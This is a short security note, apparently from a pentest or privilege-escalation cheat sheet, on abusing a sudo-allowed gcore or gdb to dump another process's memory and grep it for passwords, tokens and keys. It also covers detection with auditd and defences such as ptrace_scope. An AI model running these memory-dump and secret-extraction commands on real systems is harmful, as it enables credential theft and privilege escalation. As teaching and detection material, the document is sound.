Process memory dump with gcore

gcore is a GDB utility that produces a core dump (a snapshot of memory) of a running process without stopping it. It is legitimate for debugging, but if we can run it against another process (especially a root one), we get a file with everything that process keeps in memory: strings, buffers and, very often, clear-text secrets (passwords, tokens, keys).

The typical vector is a misconfigured sudo. If sudo -l shows we can run gcore as root, we find an interesting process and dump it:

sudo -l                              # (ALL) NOPASSWD: /usr/bin/gcore
ps -faux | grep -i password          # locate the target PID (e.g. a password manager)
sudo gcore -o dump <pid>             # produces dump.<pid>
strings dump.<pid> | grep -i pass -A 2

strings on the core extracts the readable text; filtering by words like pass, secret or the service name often surfaces the credentials the process was handling.

Variants to dump another process's memory:

sudo gdb -p <pid> -batch -ex 'gcore /tmp/dump'   # gdb in batch mode
cat /proc/<pid>/maps                              # readable memory ranges
sudo cp /proc/<pid>/mem /tmp/mem 2>/dev/null      # raw copy (if permitted)
strings -n 8 /tmp/dump* | grep -iE 'pass|secret|token|key' -A1

Why it matters. It is a form of secret theft that needs no exploit: just the ability to read another process's memory. What you get (a root password, an encryption key) usually allows a direct su or can be reused on other services, in line with credential reuse.

The general principle. Any ability to read another process's memory exposes what it keeps in clear text: gcore, gdb -p, reading /proc/<pid>/mem, or a core dump left on disk. It is not exclusive to gcore; it is the same risk as abusing sudo-allowed binaries or reading /proc/<pid>/cmdline.

How to detect it. The dump runs on the host, so it does leave traces. With auditd, executing gcore/gdb via sudo generates an execve event (and an entry in /var/log/auth.log for the sudo), and accessing another process's memory shows up as a ptrace call or a read of /proc/<pid>/mem that a rule can watch. The high-fidelity signature is a non-root user running gcore/gdb -p against a PID that is not theirs, or the follow-up strings over a core.* file. A large core dump appearing on disk (FIM) and the sudo gcore in the audit log are the two events to correlate.

Defence. Do not grant gcore/gdb via sudo to unprivileged users, restrict ptrace (kernel.yama.ptrace_scope), and do not keep secrets in memory longer than needed or store them in clear text within the process.